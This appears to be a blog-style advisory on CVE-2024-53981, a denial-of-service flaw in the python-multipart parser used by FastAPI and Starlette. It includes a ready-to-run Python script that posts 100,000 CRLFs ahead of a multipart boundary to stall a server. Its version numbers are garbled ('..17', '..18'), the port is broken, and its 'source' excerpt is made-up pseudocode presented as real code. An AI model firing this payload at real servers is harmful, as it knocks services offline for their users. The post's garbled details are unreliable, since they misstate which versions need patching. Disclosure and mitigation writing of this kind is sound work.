In June 2024, a critical vulnerability was found in python-multipart, a popular streaming multipart parser widely used in Python web applications, including ASGI frameworks like FastAPI and Starlette. This flaw, now cataloged as CVE-2024-53981, can allow an attacker to easily stall an application by exploiting how python-multipart handles certain malformed HTTP form data. This post explains how the vulnerability works (in simple terms), includes a demonstration using code, and provides practical mitigation advice.
What is python-multipart?
python-multipart is a library to process multipart form data (like file uploads) in Python applications. It's commonly used in web APIs built with FastAPI or Starlette, enabling them to handle HTTP requests with the multipart/form-data content type.
Explaining the Problem (CVE-2024-53981)
The issue:
When parsing incoming form data, python-multipart is designed to look for boundaries—special lines that separate parts of the form. To be nice, it skips over any line breaks (like \n or \r\n) or leftover bytes before or after the real data. Whenever it skips a byte, it emits a log message.
The vulnerability:
If someone sends a huge amount of junk data before the first boundary or after the last boundary, the parser skips this one byte at a time and logs every skip. This means:
Logs fill up rapidly—potentially gigabytes!
- In asynchronous servers like ASGI (used by FastAPI, Uvicorn, etc.), this can block the event loop and stall all other requests.
The result: Easy to launch Denial of Service (DoS).
Versions affected:
All up to ..17
Fixed in:
..18 (see Changelog)
Code Snippet: Exploiting the DoS
Let’s see how an attacker would exploit this using a simple HTTP request that adds lots of newlines before the boundary.
import requests
url = "http://localhost:800/upload"; # Set this to your actual endpoint
# Make a form-data payload with thousands of newlines before the real boundary
payload = ('\r\n' * 100000) # That's 100,000 CRLFs up front!
payload += (
'--boundary123\r\n'
'Content-Disposition: form-data; name="myfile"; filename="dummy.txt"\r\n'
'Content-Type: text/plain\r\n'
'\r\n'
'Hello, world!\r\n'
'--boundary123--\r\n'
)
headers = {
"Content-Type": "multipart/form-data; boundary=boundary123"
}
response = requests.post(url, data=payload, headers=headers)
print(response.status_code, response.text)
What happens here:
Logging: Gigabytes of logs may fill disk space quickly.
- DoS: ASGI servers (like those behind FastAPI/Uvicorn/Hypercorn) are particularly vulnerable because a single stuck event can block the whole server for everyone.
- Traditional web servers (like WSGI/Gunicorn) are also affected, but async servers feel it more.
Proof of the Issue in Source
See the problematic code here (before v..18):
while ...:
if some_byte == CR or LF:
log.info("Skipping line break before boundary")
# Skips ONE byte, then repeats
*In fixed version, this behavior is optimized and/or rate-limited.*
Update immediately to python-multipart ..18 or later.
pip install --upgrade python-multipart
References
- CVE-2024-53981 NVD entry
- python-multipart GitHub Repo
- python-multipart ..18 Changelog
- ASGI Applications
Conclusion
This vulnerability in python-multipart makes it trivial for anyone to force a server-side denial of service with a single weirdly formatted POST request. Log spam, high CPU, and blocked Python event loops are all possible. All users should upgrade to ..18 or later and consider putting more defenses on endpoints that accept multipart uploads.
Timeline
Published on: 12/02/2024 16:15:14 UTC